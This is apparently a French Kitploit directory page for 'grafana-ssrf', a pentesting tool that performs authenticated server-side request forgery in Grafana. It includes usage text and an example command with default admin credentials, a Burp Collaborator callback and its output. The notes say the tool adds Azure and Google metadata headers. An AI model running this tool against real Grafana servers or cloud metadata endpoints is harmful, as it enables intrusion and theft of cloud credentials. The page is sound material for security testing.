Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
grafana-ssrf — SSRF authentifié dans Grafana | Kitploit
Outils/GitHubGitHub/randomrobbiebf/grafana-ssrf
ReconnaissanceAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsSécurité CloudRed Teaming
GitHubrandomrobbiebf/grafana-ssrf

grafana-ssrf

SSRF authentifié dans Grafana

Voir le dépôt
8327il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

grafana-ssrf

SSRF authentifié dans Grafana.

Remarques

  • L'en-tête de métadonnées Azure a été ajouté à tous les SSRF.
  • L'en-tête de métadonnées Google a été ajouté à tous les SSRF.
  • Le SSRF ne suivra pas les redirections quoi qu'il arrive, assurez-vous donc que l'URL est directe.
  • Si la connexion se fait via SSO ou d'autres connexions non-Grafana, veuillez récupérer votre cookie de session et utiliser l'option -s.

Utilisation

root@kitploit:~
usage: grafana-ssrf.py [-h] [-s SESSION] [-u URL] [-H HOST] [-f FILE] [-U USERNAME]
                  [-P PASSWORD]

optional arguments:
  -h, --help            show this help message and exit
  -s SESSION, --session SESSION
                        Session Cookie Value
  -u URL, --url URL     URL of host to check will need http or https
  -H HOST, --host HOST  Host for Grafana
  -f FILE, --file FILE  File of URLS to check SSRF Against
  -U USERNAME, --username USERNAME
                        Username for Grafana
  -P PASSWORD, --password PASSWORD
                        Password for Grafana

Exemple

root@kitploit:~
python3 grafana.py -U admin -P admin -H http://localhost:3000 -u http://8t2s8yx5gh5nw0z9bd3atkoprgx6lv.burpcollaborator.net
Refreshed Sources
SSRF Source Updated
Status code:   200
Response body: <html><body>c7yzzb4zyj5v14wkpi2nxvzjigz</body></html>
Deleted Old SSRF Source

N'oubliez pas de consulter nos offres d'emploi !

https://bishopfox.com/jobs#open-positions - Venez rejoindre les Fox !

Télécharger l’outil